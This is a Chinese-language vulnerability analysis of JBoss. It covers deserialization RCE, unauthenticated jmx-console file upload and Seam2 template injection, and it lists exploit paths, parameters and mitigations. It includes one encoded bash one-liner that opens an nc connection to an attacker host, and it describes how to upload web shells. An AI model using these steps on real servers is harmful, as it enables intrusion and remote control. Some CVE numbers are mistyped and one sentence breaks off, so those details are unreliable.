JBoss高危漏洞分析

前言

JBoss是一個基於J2EE的開放源代碼應用服務器，代碼遵循LGPL許可，能夠在任何商業應用中無償使用；JBoss也是一個管理EJB的容器和服務器，支持EJB 1.一、EJB 2.0和EJB3規範。但JBoss核心服務不包括支持servlet/JSP的WEB容器，通常與Tomcat或Jetty綁定使用。在J2EE應用服務器領域，JBoss是發展最爲迅速的應用服務器。因爲JBoss遵循商業友好的LGPL受權分發，而且由開源社區開發，這使得JBoss廣爲流行。

0×01 JBoss優勢

JBoss有許多優勢。

 

其一，將具備革命性的JMX微內核服務做爲其總線結構；

 

其二，自己就是面向服務架構（Service-Oriented Architecture，SOA）；

 

其三，具備統一的類裝載器，從而可以實現應用的熱部署和熱卸載能力。

 

所以，高度模塊化的和鬆耦合。JBoss應用服務器是健壯的、高質量的，並且還具備良好的性能。

 

JBoss AS做爲Redhat公司的商業產品JBoss Enterprise Application Platform的上游基礎，爲了不用戶混淆，該公司在去年10月份就爲JBoss AS擬定一個新名字——WildFly。

 

由此看來，國內使用JBoss服務的用戶很普遍，所以防範JBoss漏洞就顯得尤其重要了。一旦JBoss的潘多拉魔盒被打開，必將在當今網絡中掀起腥風血雨。

 

0×02 高危漏洞介紹

 

近幾年JBoss爆發的漏洞數量與其餘著名的中間件（Weblogic,Jenkins,WebSphere等）相比，數量相對較少。然而，因爲最近幾年Java反序列化漏洞的肆虐，JBoss也深受其害，相繼爆發了三個著名的高危漏洞。

 

下面介紹一下JBoss「潘多拉魔盒」中的高危漏洞。

 

JBoss高危漏洞主要涉及到兩種。

 

第一種是利用未受權訪問進入JBoss後臺進行文件上傳的漏洞，例如：CVE-2007-1036，CVE-2010-0738,CVE-2005-5750以及JBoss jmx-consoleHtmlAdaptor addURL() File Upload Vulnerability。

 

另外一種是利用Java反序列化進行遠程代碼執行的漏洞，例如：CVE-2015-7501，CVE-2017-7504，CVE-2017-12149，CVE-2013-4810。

 

除此以外，還要額外介紹一下JBoss seam2的模板注入CVE-2010-1871漏洞。

 

Java反序列化RCE漏洞

 

關於Java反序列化漏洞的利用思路此前已經介紹過，詳情請看http://www.freebuf.com/vuls/179579.html。

 

1. CVE-2015-7501漏洞

 

此漏洞主要是因爲JBoss中invoker/JMXInvokerServlet路徑對外開放，因爲JBoss的jmx組件支持Java反序列化，而且在反序列化過程當中沒有加入有效的安全檢測機制，致使攻擊者能夠傳入精心構造好的惡意序列化數據，在jmx對其進行反序列化處理時，致使傳入的攜帶惡意代碼的序列化數據執行，形成反序列化漏洞，下面是傳入的序列化結構。

 

從圖中咱們能夠看到，此漏洞的payload和weblogic Java反序列化CVE-2015-4852原理相同，都是利用了Apache Commons Collections的基礎庫進行Java反序列化漏洞的利用。

 

CVE-2015-7501 POC

 

首先咱們進入到/invoker/JMXInvokerServlet路徑下，post傳入咱們構造好的payload，下面的序列化POC須要將16進制解碼。

 

 

 

在上面的POC中，cmd是咱們想要執行的代碼，這裏你們注意一下，binascii.b2a_hex(cmd)前面的兩位（標紅的部分）是表明cmd轉換爲16進制的長度。因此須要根據咱們具體傳入的代碼而進行調整。

 

這個漏洞的修補方法很簡單，由於ysoserial工具生成的payload都依賴於InvokerTransformer類。若是用戶在正常業務中不使用此類，能夠將此類移除，方法爲使用Winzip打開jar文件，在org/apache/commons/collections/functors/InvokerTransformer.class刪除該文件。

 

2. CVE-2017-7504漏洞

 

CVE-2017-7504漏洞與CVE-2015-7501的漏洞一模一樣，只是利用的路徑稍微出現了變化，CVE-2017-7504出如今/jbossmq-httpil/HTTPServerILServlet路徑下，通常出現如圖所示的界面，絕大多數存在此漏洞。

 

漏洞的利用方式也和CVE-2105-7501相同，只須要在存在漏洞的路徑下post傳入咱們構造的payload，便可對存在漏洞的服務器進行遠程代碼攻擊。Payload使用上面提到的CVE-2015-7501的POC便可。

 

3. CVE-2017-12149漏洞

 

此漏洞主要是因爲jboss\server\all\deploy\httpha-invoker.sar\invoker.war\WEB-INF\classes\org\jboss\invocation\http\servlet目錄下的ReadOnlyAccessFilter.class文件中的doFilter方法，再將序列化傳入ois中，並無進行過濾便調用了readObject()進行反序列化，致使傳入的攜帶惡意代碼的序列化數據執行，形成了反序列化的漏洞，下面粘出doFilter方法。

 

看到代碼中的MarshalledInvocation，也許熟悉weblogic Java反序列化漏洞的同窗可能會想到CVE-2016-3510漏洞。沒錯，這個漏洞也是利用了MarshalledInvocation類進行的Java反序列化攻擊。首先咱們進入到/invoker/readonly路徑下，post傳入咱們構造好的payload，下面的序列化POC須要將16進制解碼。

 

CVE-2017-12149的POC（序列化）

 

 

 

這裏咱們在cmd_hex所在位置，必需要插入相似於

bash -c {echo,bmMgLW52IDE5Mi4xNjguMTYuMSA0MDQw}|{base64,-d}|{bash,-i}

 

這種形式的命令才能夠達到攻擊效果，這是由於使用了「Java.lang.Runtime.exec(String)」語句而致使的一些限制。首先是不支持shell操做符，如輸出重定向以及管道。其次是傳遞給payload命令的參數中不能包含空格。一樣前面標紅的那兩位(b1)也須要和咱們插入的指令長度相符，這是Java序列化中的結構規定。

 

若是進入到漏洞所在路徑看見以下圖的界面，極可能存在CVE-2017-12149漏洞。

 

 

4. CVE-2013-4810漏洞

 

此漏洞和CVE-2015-7501漏洞原理相同，這裏詳細介紹一下二者的區別，其區別就在於兩個漏洞選擇的進行其中JMXInvokerServlet和EJBInvokerServlet利用的是org.jboss.invocation.MarshalledValue進行的反序列化操做，而web-console/Invoker利用的是org.jboss.console.remote.RemoteMBeanInvocation進行反序列化並上傳構造的文件。

 

首先咱們進入到/invoker/JMXInvokerServlet，/invoker/EJBInvokerServlet路徑下，post傳入咱們構造好的payload，並在頭部傳入。

 

 

 

下面的序列化POC須要將16進制解碼。

 

CVE-2013-4810的POC（序列化）

 

 

 

POC的序列化結構以下圖：

 

圖中紅框位置就是咱們執行上傳文件功能（jboss.admin中的DeploymentFileRepository）的代碼和上傳文件的內容。

 

另外若是是檢測web-console/Invoker路徑下的漏洞，則傳入http頭部以下：

 

 

 

post傳入的payload以下：

 

 

 

POC的序列化結構以下圖：

 

圖中紅框位置就是咱們上傳文件內容。

 

JBoss後臺文件上傳的漏洞

 

1.CVE-2007-1036漏洞

 

此漏洞主要是因爲JBoss中/jmx-console/HtmlAdaptor路徑對外開放，而且沒有任何身份驗證機制，致使攻擊者能夠進入到jmx控制檯，並在其中執行任何功能。該漏洞利用的是後臺中jboss.admin -> DeploymentFileRepository -> store()方法，經過向四個參數傳入信息，達到上傳shell的目的，其中arg0傳入的是部署的war包名字，arg1傳入的是上傳的文件的文件名，arg2傳入的是上傳文件的文件格式，arg3傳入的是上傳文件中的內容。經過控制這四個參數便可上傳shell，控制整臺服務器。可是經過實驗發現，arg1和arg2能夠進行文件的拼接，例如arg1=she，arg2=ll.jsp。這個時候服務器仍是會進行拼接，將shell.jsp傳入到指定路徑下。後面的CVE-2010-0738和CVE-2005-5750漏洞也存在這一特性。

 

CVE-2007-1036 POC

 

 

 

其中war_name是部署war包的名稱，filename是咱們想要上傳的文件名。漏洞利用過程就是將POC以GET或POST方式在/jmx-console/HtmlAdaptor路徑下進行傳入便可。

 

下圖是利用此payload進行shell上傳：

 

 

這個是存在漏洞的後臺路徑：

 

圖中的store()函數即是文件上傳使用的方法，經過構造內部的4的參數，將咱們構造好的文件傳到任何咱們指定的位置。

 

2. CVE-2010-0738漏洞

 

此漏洞利用原理和CVE-2007-1036漏洞相同，惟一的區別是CVE-2010-0738漏洞利用了HTTP中HEAD請求方法，繞過了對GET和POST請求的限制，成功地再次利用jboss.admin -> DeploymentFileRepository -> store()方法上傳文件。 

 

CVE-2010-0738 POC

 

 

 

其中war_name是部署war包的名稱，filename是咱們想要上傳的文件名。漏洞利用過程就是將POC以HEAD方式在/jmx-console/HtmlAdaptor路徑下進行傳入便可。

 

下圖是成功上傳shell的截圖。

 

 

3. CVE-2005-5750漏洞

 

此漏洞利用原理和CVE-2007-1036漏洞相同，惟一的區別是CVE-2006-5750漏洞利用methodIndex進行store()方法的調用。其中methodIndex是經過方法的編號進行調用。

 

CVE-2005-5750 POC

 

 

 

其中war_name是部署war包的名稱，filename是咱們想要上傳的文件名。在/jmx-console/HtmlAdaptor路徑下，使用HEAD方法傳入上面構造好的payload，便可對此漏洞進行利用。

下圖是成功上傳shell的截圖。

 

 

4. JBoss jmx-consoleHtmlAdaptor addURL() 文件上傳漏洞

 

此漏洞是因爲JBoss中/jmx-console/HtmlAdaptor路徑對外開放，而且沒有任何身份驗證機制，致使攻擊者能夠進入到jmx控制檯，並在其中執行任何功能。該漏洞利用的是後臺jboss.deployment -> DeploymentScanner -> Java.net.URL類型 addURL() 
方法，經過向一個參數傳入url進行訪問，在要訪問的url中構造帶有shell的war包，當服務器訪問時便會上傳shell。可是，上傳shell的文件只是一個映射文件，當url一旦沒法訪問或者內部資源丟失，則服務器上的文件也會相應消失。

 

JBoss jmx-consoleHtmlAdaptor addURL() File Upload Vulnerability POC

其中arg0傳入的是咱們能夠控制服務器訪問的url。在/jmx-console/HtmlAdaptor路徑下GET傳入咱們構造好的payload，便可對此漏洞進行漏洞利用。

 

下圖是漏洞利用所選擇的函數：

 

防護以上漏洞，其實只須要將JBoss後臺添加權限，控制訪問者對敏感路徑訪問便可。

 

JBoss seam2模板注入

 

在介紹漏洞以前，首先介紹一下Java反射機制。

 

不少POC都是利用Java的反射機制來調用須要的方法進行遠程代碼執行。在Java中，一切皆爲對象，包括Class對象。Java反射機制是在運行狀態中，對於任意一個類，都可以知道這個類的全部屬性和方法；對於任意一個對象，都可以調用它的任意一個方法和屬性。

 

在下面的漏洞中，咱們能夠利用一些函數去反射須要的類，以及類的方法。例如，利用getClass()函數獲取類，並利用getMethod()獲取咱們想要反射的方法。在CVE-2010-1871，就是經過反射出Java.lang.Runtime.getRuntime().exec()方法，進行遠程代碼執行。

 

1.CVE-2010-1871漏洞

此漏洞是經過seam組件中插入#{payload}進行模板注入，咱們能夠在/admin-console/login.seam?actionOutcome=/success.xhtml?user%3d%23{}的#{}中插入咱們要執行的方法，咱們能夠經過Java反射機制來獲取到Java.lang.Runtime.getRuntime().exec()方法，從而能夠傳入任何想要執行的指令。

 

CVE-2010-1871 POC

其中cmd表明傳入的遠程命令。在/admin-console/login.seam路徑下，POST傳入咱們構造好的payload，便可對此漏洞利用。

0×03 結語

 

目前，JBoss未受權訪問的漏洞已經獲得了很好的修復，一些對外組件都添加了權限訪問控制，想繼續利用

 

JBoss的潘多拉魔盒已經開啓，每個JBoss高危漏洞都會給使用JBoss的用戶形成巨大的災難。傳言，潘多拉在開啓魔盒的瞬間，因爲懼怕和緊張，在智慧女神雅典娜放在盒子中的「但願」尚未飛出，就關上了盒子，致使了人類飽受疾病與災難的痛苦。那麼做爲一個安全研究員，放飛盒子中的「但願」就是咱們如今須要努力的方向。及時的在漏洞爆發期間完成對漏洞的分析，並完成對漏洞的預防，防止漏洞攻擊在網絡環境中肆虐，保護你們的網絡環境，這即是安全研究員的職責所在。

 

目前，JBoss未受權訪問的漏洞已經獲得了很好的修復，一些管理後臺都添加了權限訪問控制，想繼續經過JBoss後臺進行文件上傳在如今的JBoss版本已經不多能實現了。目前JBoss的攻擊趨勢隨着2015年FoxGlove Security 安全團隊的 @breenmachine 博客的發佈而漸漸偏向於Java反序列化攻擊。由於這種攻擊的特色是，危險等級高，影響範圍廣，一個Java反序列化漏洞形成的影響是巨大的。因此對於JBoss，咱們須要作的防禦措施就是，在各個對外開放組件進行輸入驗證，確保傳入的信息中沒有對服務器產生危害的內容。